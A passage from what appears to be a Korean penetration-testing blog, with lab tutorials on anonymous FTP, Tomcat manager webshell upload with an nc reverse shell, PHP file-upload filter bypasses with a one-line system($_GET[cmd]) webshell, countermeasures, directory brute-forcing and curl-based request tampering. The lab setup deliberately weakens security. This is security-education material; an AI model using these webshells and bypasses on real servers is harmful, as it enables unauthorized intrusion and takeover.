2018. 6. 28.

anonymous ftp 의 위험성



vi 명령어로 /etc/vsftpd/vsftpd.conf 을 확인한 결과이다. anonymous 가 설정되어 있다.

(추가로 anon_upload_enable=YES 로 되어 있는데 이 부분은 익명사용자가 서버에 파일을 업로드하는 것을 허용하는 것이다.)


위와 같이 암호를 입력하지 않고 '엔터' 만 누름으로써 서버에 접속이 가능하다.

ftp 정보는 zenmap 으로도 확인 할 수 있다.


** 참고
ftp 명령어
lcd E:\ // 로컬에서 드라이브로 이동
!dir // 로컬 파일들 확인
put test.php // php 파일을 서버에 업로드
put *.php //php 파일을 모두 서버에 업로드
get test.php // test.php 파일 받기
mget *.php // php 파일 모두 받기

Continue reading

2018. 6. 27.

[웹의 이해] WAS 디폴트 관리자 페이지

아파치 톰캣 : http://사이트:8080/manager/html
오라클 웹로직 : http://사이트:7001/console
IBM 웹스피어 : http://사이트:9090/admin, http://사이트:9043/admin
Caucho 레진 : http://사이트/resin-admin
TMAX 제우스 : http://사이트:9744/webadmin

# jsp 웹쉘 업로드


jsp 웹쉘 다운로드 : https://github.com/tennc/webshell/blob/master/jsp/jspbrowser/Browser.jsp


windows 환경의 경우 , 아래 메뉴에 war 파일을 업로드 해야 한다. Browser.jsp 을 받아서 zip 파일로 압축 후 업로드 할때 프록시로 잡아서 war 로 변경하면 올라간다.

linux 환경의 경우, tar cvf Browser.war Browser.jsp 명령어로 압축해야 한다.

업로드 완료하고 ,아래와 같이(Browser/Browser.jsp) jsp 웹셀에 접근이 가능하다.

보통(?) 웹 쉘에서 명령어를 실행 할 수 있다.
nc 를 이용해서 쉘을 취득해보겠다.

공격자 pc 에서 4444 포트를 열고, (nc -lvnp 4444) 브라우저에서 아래와 같이 공격자로 통신을 하면 쉘이 취득된다.




구버전 (5버전) 의 경우 디폴트 아이디 패스워드 사용의 가능성이 있으며, 이는 자동화 스캐너로 스캔이 가능하다.

kali linux

msfconsole > search tomcat > tomcat_mgr_login 익스플로잇 사용


이를 통해 기본 암호를 사용하는 페이지를 찾을 수 있다.





Continue reading

2018. 6. 25.

[웹 취약점] 웹 취약점 환경 구축 (VMware + CentOS+Apache+PHP+MySQL)

1. VMware 설치

  • 과정 생략


2. CentOS 5.5

  • VM용 가상머신 이미지 다운로드
  • https://sourceforge.net/projects/vmware-centos-5/
  • Set up agent 가 실행되면 Firewall configuration 메뉴의 "Security Level" 과 "SELinux" 항목에서 "Disabled" 로 설정 후 OK 버튼을 누르고 'EXIT' 버튼을 선택하고 빠져나온다
  • 초기 관리자 ID/PW는 root/tomtom
  • yum 미러 정보를 업데이트 한다
  • vi /etc/yum.repos.d/CentOS-Base.repo 후 기존 미러정보 업데이트 한다.

  • VM에서 바로 진행해도 되고 Xshell 로 붙어서 진행해도 된다.
  • yum install httpd php mysql-server php-mysql php-mbstring (total download : Y)
설치가 완료되면 서비스를 구동한다

#service httpd start
#service mysqld start

부팅될때 자동으로 서비스가 올라오게 설정한다.
#chkconfig httpd on
#chkconfig mysqld on

mysqld db를설정한다. 계정 패스워드는 root 로 등록한다.

#cd/usr/bin
#mysqld_secure_installation



Remote anonymous users : Y
Disable root login remotely : n
Remove test database and access to it : n
reload privilege tables now : y

mysql db 설정이 완료되면 로그인이 되는지 확인한다
mysql -u root -p
혹시 root 계정으로 원격접속이 불가능하면 grant 명령을 이용하여 권한을 등록한다
grant all privileges on *.* to 'root'@'%' identified by 'root':

vi /var/www/html/phpinfo.php 에 파일을 만들어 설치 상태를 테스트를 한다

<?php
phpinfo();
?>

http://가상머신의 ip주소/phpinfo.php


Continue reading

[웹 취약점] 파일 업로드 취약점

# 파일 업로드 취약점 구현

- upload.html
<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
Select file to upload:
        <input type="file" name="fileToUpload">
        <input type="submit" value="Upload File" name="submit">
</form>
</body>
</html>

- upload.php
<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
        echo "Valid File, File uploaded successfully. \n";
} else {
        print "Possible file upload attack\n";
}

print "Debugging information:\n";
print_r($_FILES);

print "</pre>";
?>


코드를 풀이하자면, 다음과 같다.

1) basename을 통해 파일 이름만을 추출한다. 즉 변수 uploadfile에는 /uploads/c99.php 입력된다.
2) upload.html 의 form 태그를 이용해서 전송된 파일은 $_FILES를 통해 접근 가능하다. 즉, 서버가 업로드 받은 파일은 $_FILES['upload_file']['tmp_name']에 들어있다.
3) move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)  구문으로 파일을 저장한다.
move_uploaded_file() 서버로 전송된 파일을 특정 디렉토리에 저장할때 사용하는 함수이며 다음과 같이 사용된다. move_uploaded_file(파일 이름 변수, '저장디렉토리/저장될 파일 이름')




보통 취약점 점검 할때는 웹쉘을 올리는것보다는 기본 php 소스를 올리는것을 추천한다.
(방화벽, 백신 등등의 문제로)

<?php
system( $_GET[cmd]);
?>



** c99 웹쉘 다운로드 - https://raw.githubusercontent.com/tennc/webshell/master/php/PHPshell/c99/c99.php


http://vm-IP/uploads/c99.php 실행결과


# 블랙리스트 필터링 우회

<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);
//블랙리스트 필터링 코드
$file_ext = array('php');
$ext = array_pop(explode('.',$uploadfile));
//확장자 확인
if( in_array($ext, $file_ext)) {
        echo 'Upload Error : <br><b>' . $ext . '</b> File extension is not allowed.';
        exit;
}
echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
        echo "Valid File, File uploaded successfully. \n";
} else {
        print "Possible file upload attack\n";
}
print "Debugging information:\n";
print_r($_FILES);
print "</pre>";
?>

코드를 풀어보면 다음과 같다.
1) uploadfile 변수에는 /uploads/c99.php 가 입력된다.
2) explode('.',$uploadfile) 를 통해 . 를 기준으로 파일을 나눈다. /uploads/c99 와 php 로 배열이 분리된다.
3) array_pop 은 배열의 마지막 값이 리턴된다. 즉, /uploads/c99와 php중 php가 리턴되어 ext 에는 php가 입력된다.
4) in_array(a,b)는 배열(b)의 요소중에 a 값이 있는지 확인하여 참과 거짓을 반환한다.
5) 따라서 php 파일을 업로드 하면 업로드가 되지 않는다.


그러나 위와 같은 방법은 php 라는 문자열만 필터링 하기 때문에 대소문자만 바꿔서 업로드 하여도 업로드가 가능하다.
때문에 
php 확장자를 변수로 입력하는 과정에서 다음과 같이 소문자로 변환하는 작업이 필요하다.

$ext=strtolower(array_pop(explode('.', $uploadfile)));

1) php 기본 설정 확장자를 통한 우회
php.conf에서는 php 인터프리터의 스크립트 확장자를 설정할 수 있다. 
vi /etc/httpd/conf.d/php.conf 를 통해 확인 한 결과 본 환경에서는 php만 지원하는것을 알수 있다.

php 버전별로 초기 설정된 확장자가 다르다. 
php 3.x >> .php, .php3, phtm3
php 4.x ~ 5.x >> .php
php 7.x ~ .php, .php3, php4, php5, .php7, .pht, .phtml 

php.conf 파일 설정파일에 .php3 을 추가시키고 파일을 실행시키면 다음과 같이 실행되는 것을 알 수 있다. (참고로 확장자 추가는 , 로 추가하면 안되고 .php .php3 .php7 이런식으로 추가해야 모두 적용된다. 그렇지 않으면 마지막으로 입력한 확장자만 적용된다. 그리고 서버 재시작)



mod_mine 모듈의 확장자 처리 규칙을 악용한 우회
mod_mine 모듈은 파일에 하나 이상의 확장자가 지정되어 있을 경우 국가 코드와 인코딩을 제외하고는 메타 데이터에 미디어 타입에 매핑된 확장자가 하나 이상일 경우에는 최우측에 있는 확장자로 인식하게 된다.

따라서 c99.php.kr 파일을 입력하면 아파치에서는 c99.kr.php 로 처리하여 웹쉘 실행이 가능하다. 또한 다중 확장자를 사용할 경우 메타 데이터에 타입이 정의된 우측 확장자를 따르기 때문에 c99.php.cmd 또는 c99.php.316 등 /etc/mime.types 와 httpd.conf php.conf 등에 정의가 없는 확장자를 제외하고 인식한다.




이 문제점은 다중 확장자 처리 규칙으로 인해서 발생한 것이다. 

2) htaccess 분산 설정 파일을 통한 우회

이 공격을 위해서는 /etc/httpd/conf/httpd.conf 의 설정이 아래와 같이 되어야 한다. 
요즘은 디폴트 설정이 None 이므로 거의 공격이 되지는 않을것이다.


1) 위와 같은 설정 상태에서 c99.cmd 파일을 업로드 한다.
2) .htaccess 라는 파일명으로 AddType application/x-httpd.php .cmd 라고 작성한다. (만약 파일명 오류가 생기면, 파일 업로드 할때 버프로 수정한다.
3) 브라우저에서 c99.cmd 파일을 열면 cmd파일이 php 파일로 인식하여 웹쉘이 실행된다.

# 화이트리스트 필터링

<?php
$uploaddir='./uploads/';
$uploadfile=$uploaddir.basename($_FILES['fileToUpload']['name']);
//화이트리스트  필터링 코드
$file_ext = array('jpg','jpeg','png','gif');
$ext = array_pop(explode('.',$uploadfile));
//확장자 확인
if(!in_array($ext, $file_ext)) {
        echo 'Upload Error : <br><b>' . $ext . '</b> File extension is not allowed.<br><br>';
        echo 'you cal only upload <b> jpg,jpeg, png, gif</b> files.';
        exit;
}
echo '<pre>';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$uploadfile)) {
        echo "Valid File, File uploaded successfully. \n";
} else {
        print "Possible file upload attack\n";
}
print "Debugging information:\n";
print_r($_FILES);

1) Mutiple Extensions 취약점 (확장자 추가 우회)

c99.php.jpg 로 변경하면 업로드가 가능하다. 그리고 실행하면 웹쉘이 실행된다.
왜 웹쉘이 실행되는 것일까. jpg 확장자는 php 인터프리터에 지정된 스크립트 확장자가 아니므로 실행이 되지 않아야 한다.

아파치 매뉴얼에 따르면 다중확장자에 의해 파일명이 c99.php.jpeg 이면 php와 jpeg 모두가 매핑되기 때문에 오른쪽인 jpg 로 인식해야 정상이지만 순서에 무관하게 확장자 중 php 가 있으면 php 인터프리터에 매핑이 가능하다는 의미이다. 매핑 되는 정보는  /etc/httpd/conf.d/php.conf 의 AddHandler 에서 확인 할 수 있다.

다중 확장자 처리 취약점을 대응하기 위해서는 FilesMatch 블록으로 최우측 확장자가 .php 인 경우만 PHP 스크립트로 처리하도록 설정하면 된다.



# 대응 방안

1)
업로드 파일을 저장하는 "upload" 디렉토리에 ".htaccess" 파일(/var/www/html/uploads/.htaccess)을 생성하고, PHP 인터프리터에 설정된 확장자를 모두 등록하여 접속을 차단한다.

<Files ~ "\.(php|php.kr)$">
     order allow,deny
     order from all
</Files>

2)
위와 같은 방법은 php와 php.kr 확장자 외의 방식으로 우회 할 수 있다.
일반적으로 php 소스코드를 배포하기 않기 때문에 php 어플리케이션이 실행되지 않도록 PHP 핸들러를 제거하는 것이 좋다.

<Files *>
    SetHandler default-handler
</Files>

3) 분산 설정 파일 기능(.htaccess)이 비활성화된 환경에서는 httpd.conf 파일에 다음과 같이 등록하면 uploads  디렉토리의 PHP 스크립트는 실행되지 않는다.

/etc/httpd/conf/httpd.conf

<Directory /var/www/html/uploads/>
    php_admin_value engine Off
</Directory>

# 파일업로드하고 경로를 유츄하는 방법

1) 에러 구문에 노출된 상세 정보

2) HTML 주석에서 노출된 경로 정보

3) 로봇 배제 표준(robots.txt) 파일에 노출된 정보

User-agent: *
Disallow: /download
4) 네이버 구글 등 검색 엔진에 노출된 정보 활용

5) 디렉토리 무차별 대입 공격

6) 관리자 페이지 권한 탈취 공격

# 연습

1. 파일업로드시 허용된 이미지 파일만 업로드 가능하다. 우회 방법은.
1) 자바스크립트 수정
: 개발자 도구의 source탭을 수정하여 ctrl+s 로 저장하면 된다.

2) 프록시 툴로 소스 수정
: 필터링 부분을 삭제 or 변경한다

2. 업로드까진 하였는데 서버에서 필터링을 하고 있다. 우회 방법은.
1) 확장자 검사 인지 파일 컨텐츠(file type) 검사인지 테스트 한다.
  - 텍스트 파일에 확장자만 그림파일로 변경하여 올리기
  - 그림파일에 .txt 붙여서 올리기

실습 환경에서는 파일 컨텐츠 검사를 수행하고 있다. 그렇다면 웹쉘.php 파일 .jpg로 변경하여 업로드 하고 프록시로 잡아서 다시 .php로 변경하여 올릴수 있다. (jpg 로 올렸으니 파일 타입은 file-Type: image/jpeg 이므로)

만약 확장자 검사를 수행한다면 php 파일에 확장자만 .jpg로 변경해서 보낼수도 있을것이다.



Continue reading

2018. 6. 18.

[웹 취약점] 웹서버 디렉토리 bruteforcing 공격 툴

# 디렉토리 검색 툴

1. DIRB
2. DirBuster
3. wfuzz
4. metasploit
5. dirsearch
6. Powerfuzzer

개인적으로 dirb 과 Powerfuzzer 를 즐겨쓴다.  사용하기 쉽기 때문이다.

dirb http://192.168.1.5/dvwa

  • -X 옵션 으로 php, jsp, html 등 확장자를 지정 할 수 있다.
dirb http://192.168.1.5/dvwa /usr/share/wordlists/dir/common.txt

  • 칼리에는 다양한 공격 사전이 준비되 있으므로 적절하게 이용할 수 있다. 
참고

root@kali:~# gendict
Usage: gendict -type pattern
  type: -n numeric [0-9]
        -c character [a-z]
        -C uppercase character [A-Z]
        -h hexa [0-f]
        -a alfanumeric [0-9a-z]
        -s case sensitive alfanumeric [0-9a-zA-Z]
  pattern: Must be an ascii string in which every 'X' character wildcard
           will be replaced with the incremental value.

Example: gendict -n thisword_X
  thisword_0
  thisword_1
  [...]
  thisword_9

사전을 필요한 형태로 만들어 사용할 수도 있다.

참고
  • http://www.hackingarticles.in/5-ways-directory-bruteforcing-web-server/
  • https://tools.kali.org/web-applications/dirb

Continue reading

[웹 취약점] Engagement tools in burp suite

버프스위트 기능의 Engagement tools 기능 중에서 find references 와 Generate CSRF PoC 에 대해 정리하려고 한다.

1. Find references 



타겟 호스트에서 공격 대상여부를 확인하기 쉽게 동적 페이지를 리스팅해준다.

2. CSRF PoC

CSRF 취약점 검증하기 위한 소스를 편하게 제작해주는 기능을 제공한다.

Request 캡처 > 우 클릭 Engagement tools > Generate CSRF PoC > Test in browser 또는 Copy HTML > 웹에서 검증



참조
  • http://www.hackingarticles.in/engagement-tools-tutorial-burp-suite/

Continue reading

2018. 6. 14.

[웹 취약점] Curl

curl 의 강점은 아래와 같다.

  • CURL is an easy to use command line tool to send and receive files, and it supports almost all major protocols(DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS,  LDAP,  LDAPS,  POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP) in use.
  • Can be used inside your shell scripts with ease
  • Supports features like pause and resume of downloads
  • It has around 120 command line options for various tasks
  • It runs on all major operating systems(More than 40+ Operating systems)
  • Supports cookies, forms and SSL
  • Both curl command line tool and libcurl library are open source, so they can be used in any of your programs
  • It supports configuration files
  • Multiple upload with a single command
(download : https://winampplugins.co.uk/curl/)


  • Progress bar, rate limiting, and download time details

    • IPV6 Support
    (curl download : https://www.lesstif.com/pages/viewpage.action?pageId=14745703#curl%EC%84%A4%EC%B9%98%EB%B0%8F%EC%82%AC%EC%9A%A9%EB%B2%95-HTTPGET/POST,RESTAPI%EC%97%B0%EA%B3%84%EB%93%B1-%EA%B0%9C%EC%9A%94)


    Command Injection


    버프스위트에서 copy as curl command 를 하면 손쉽게 curl 문법 형태로 변환되어 저장된다.

    그렇다면 어떨때 curl 를 사용하는 것일까. 예를 들면, 웹 페이지에서는 c.jsp 로 접속하려면 a > b > c.jsp 라는 구조가 있다고 할때, 루틴(?) 을 밟고나서야 접속할 수 있다. 그러나
    이것을 curl 로 시도하면 특정 url로 body 까지 포함한 데이터로 request 를 보낼 수 있다.

    post 데이터를 변조하여 요청할 일이 있을때 유용하게 사용된다.

    다운로드 후 환경변수에 추가하면 된다.

    • https://winampplugins.co.uk/curl/


    사례 1) 비밀번호 변경 page 에서 본인인증을 마치고 신규 비밀번호를 입력하는 부분의 페이지를 보니 post 로 userid, pw를 전송한다. 이럴때 userid 와 pw를 입력하면 특정 user의 pw를 인증없이 변경할 수 있다.

    curl -i -s -k -X $'POST'  .... -H $'Referer: http://test.co.kr' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; --data-binary $UserID=test$password=test.....

    대충 위와 같은 방식

    사례 2)
    curl -L "http://xxx.xxx.xxx.xxx/multillidae/index.php?page=view-someones-blog.php" 2> /dev/null | grep -i \"admin\" | sed 's/"//g' | awk 'BEGIN{FS=">"}{for (i=1; i<=NF; i++) print $i}' | grep -v value | sed s'/<\/option//g'



    curl -L 주소는 웹 페이지의 소스코드를 가져온다.
    2> /dev/null 은 에러가 있더라구 무시하라
    grep -i  \"admin\" 은 admin 이라는 문자를 포함하는 curl 을 출력하라
    sed 's/"//g' 는 " 를 없는 것으로 치환
    awk 'BEGIN{F=">"}{for (i=1; i<=NF; i++) print $i}' 은 > 문자를 구분자로 짤라라
    grep -v value 는 value 문자만 포함하는 배열 요소를 추출하고
    sed s'/<\/option//g' 는 </option" 을 없는 것으로 치환하라

    (참고

    • https://blog.naver.com/thescream/220227784445
    • http://www.computersecuritystudent.com/cgi-bin/CSS/process_request_v3.pl?HID=f10d6dc6c6c21a10f3aaf29a7ee18eca&TYPE=SUB
    • CURL 을 이용한 웹 취약점 점검 - http://www.hackingarticles.in/web-application-penetration-testing-curl/


    Continue reading

    2018. 6. 13.

    [웹취약점] MySQL, MSSQL 쿼리테스트


    1. MySQL DB 공격 테스트

    테스트 대상 : 로컬 MySQL
    테스트 도구 : MySQL 쿼리분석기
    준비사항 : 아파치 APM 설치, MySQL 설치, MySQL 쿼리분석기 설치

    1) APM 설치

    - 아래 블로그에서 APM 설치파일을 받을 수 있다.
    - http://pritaa.co.kr/106

    2) MySQL 쿼리분석기 설치

    https://downloads.mysql.com/archives/gui/

    3) MySQL query brower 실행 후 아래 정보 입력

    host : 127.0.0.1
    username : root
    passwd : apmsetup
    default schema : 생성하고자 하는 db 이름

    -----------------
    테이블 만들기
    create table test (
    id int,
    name varchar(10),
    passwd varchar(10)
    );

    데이터 입력하기
    insert into test (id, name, passwd)
    values(1, "charlie", "123456");

    insert into test (id, name, passwd)
    values(2, "misha", "qwer");

    insert into test (id, name, passwd)
    values(3, "blind", "hiido");

    ------------


    2. MSSQL DB 공격 테스트

    테스트 대상 : MSSQL 2012
    테스트 도구 : MSSQL 쿼리 분석기
    준비사항 : MSSQL 설치


    1) MSSQL 2012 EXPRESS 설치
    https://www.microsoft.com/ko-kr/download/details.aspx?id=29062


    위 두 파일을 모두 다운로드 하고 SQLEXPR > SQLManagementStudio 순으로 설치를 한다.  (둘다 설치 해야함)

    2) '새 SQL Server 독립 실행형 설치 또는 기존 설치에 기능 추가' 규격으로 설치

    3) 기능 모두 체크하고 설치 (인스턴스 기능, 공유기능)

    4) 기본 인스턴스로 설치 (default 설정은 명명된 인스턴스로 되어 있음)

    5) 서비스 계정 시작 유형을 모두 '자동' 으로 설정함

    6) 혼합 모드로 암호 설정하고 시작한다.

    7) sql server management studio 시작 후 새 데이터 베이스 만들고 시작한다.


    ----------------

    생성된 데이터베이스 test 사용
    use test;

    테이블 test, users, bbs 생성
    create table test
    (
    id int not null,
    name varchar(20) not null,
    password varchar(20) not null
    );

    create table users
    (
    id int not null,
    name varchar(20) not null,
    password varchar(20) not null
    );

    create table bbs
    (
    id int not null,
    name varchar(20) not null,
    password varchar(20) not null
    );

    테이블에 test 데이터 입력

    insert into test
    values(1, 'charlie', '123456');

    insert into test
    values(2, 'charlie', '123456');

    insert into test
    values(3, 'charlie', '123456');


    --------------


    참고

    • MSSQL 설치 가이드 - https://www.youtube.com/watch?v=vng0P8Gfx2g


    Continue reading

    Popular Posts

    Recent Posts

    Powered by Blogger.